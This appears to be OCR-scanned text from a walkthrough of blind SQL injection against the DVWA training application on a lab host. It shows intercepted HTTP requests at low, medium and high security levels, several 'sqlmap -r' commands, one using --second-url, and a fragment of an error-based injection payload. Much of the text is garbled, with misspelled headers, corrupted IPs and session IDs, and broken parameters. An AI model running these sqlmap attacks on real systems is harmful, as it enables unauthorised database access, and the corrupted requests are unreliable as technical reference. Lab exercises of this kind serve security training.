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Vulnerability: SQL Injection (Blind)

User ID: | || Submit |
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Vulnerability: SQL Injection (Blind)

User ID'.| || Submit |

User ID exists in the database.

R REHFENER, HEGETES, EIMMEBEERN, KIEFER Cookied K15 :

_[RawT Params T Headers T Hex ]

1 GET /dvwa/vulnerabilities/sgqli blind/?id=1&Submit=Submit HTTP/1.1

2 Host: 10.203.B7.166

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 11 2 2) AppleWebKit/537.36 (!
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/r
Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/

Aocept-Encoding: gzip, deflate

Aocept-Language: zh-CMW,zh;q=0.9%

Cookie: id=l; security=low; PHPSE55ID=7dkpdkopgld4ef8uidamndTinfv

Connection: close
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GET /dvwa/vulnerabilities/sqli_blind/?id=16Submit=Submit HTTP/1.1
Host: 10.203.87.166
Upgrade-Insecure-Reguests: 1

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 11_2_2) AppleWebKit/537.36 (I
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/v
Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: id=1*h security=1low; PHPSESSID=7dkp4kopgl4e88u3Bamn47infv

Connection: close httr g.csdn.ne

S EE# A SQLMap:
sqlmap -r /root/sI/1.txt
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umed the following injection point(s) from stored session:

AND boolean-b.
H 1" AND 9

1,FLOOR(RAND(@)*2))x FROM INFORMATION_S MA.PLUGINS GROUP BY x)a) AND "tDnz'= bmit=Submit
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Vulnerability: SQL Injection (Blind)

UserID;
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Raw | Params | Headers | Hex

POST /dvwa/vulnerabilities/sgli_blind/ HTTP/1.1

Host: 10.203.87.166

Content-Length: 18

4 Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.203.87.166

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 11_2_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/avif, image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/

11 Accept-Encoding: gzip, deflate

12 Ahccept-Language: zh=CN,zh;g=0.%

13 Cookie: id=l; security=medium; PHPSESSID=T7dkpdkopglie8Bu3Bamnd7infv

14 Connection: close
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POST /dvwa/vulnerabilities/sqli_blind/ HTTP/1.1
Host: 10.203.87.166

Content-Length: 18

Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1

Origin: http://10.203.87.166

Content-Type: application/x-wwi-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 11_2_2) AppleWebKit/537.36 (I
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/y
Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;qg=0.

Cookie: id=1%; security=medium; PHPSESSID=7dkp4kopqliée88u3B8amn47infy

Connection: close

1d=15Submit=Submit
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sqlmap -r /root/HRTH/1.txt
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Vulnerability: SQL Injection (Blind)

Click

User ID exists in the database.
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POST /dvwa/wvulnerabilities/sqli_blind/cockie-input.php HTTP/1.1

Host: 10.203.87.166

Content-Length: 18

4 Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.203.B7.166

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 11_2_ 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/B89.0.4389.82 Safari/537.36
BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;g=0.8,application/signed-exchange;v=b3;g=0.3%
10 Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/coockie-input.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Cockie: id=1; security=high; PHPSESSID=T7dkpd4kopglie8BulBamniTinfv

14 Connection: close
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POST /dvwa/vulnerabilities/sqli_blind/cookie-input.php HTTP/1.1
Host: 10.203.87.166

Content-Length: 18

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://10.203.87.166

Content-Type: application/x-wwi-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 11_2_2) AppleWebKit/537.36 (I
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/y
Referer: http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/cookie-input.php
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: id=1%; security=high; PHPSESSID=7dkp4kopql&4e8B8u3Bamn47infv

Connection: close

1d=15Submit=Submit
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13 FISQLMap:

sqlmap -r /root/HEiH/1.txt --second-url="http://10.203.87.166/dvwa/vulnerabilities/sqli_blind/"
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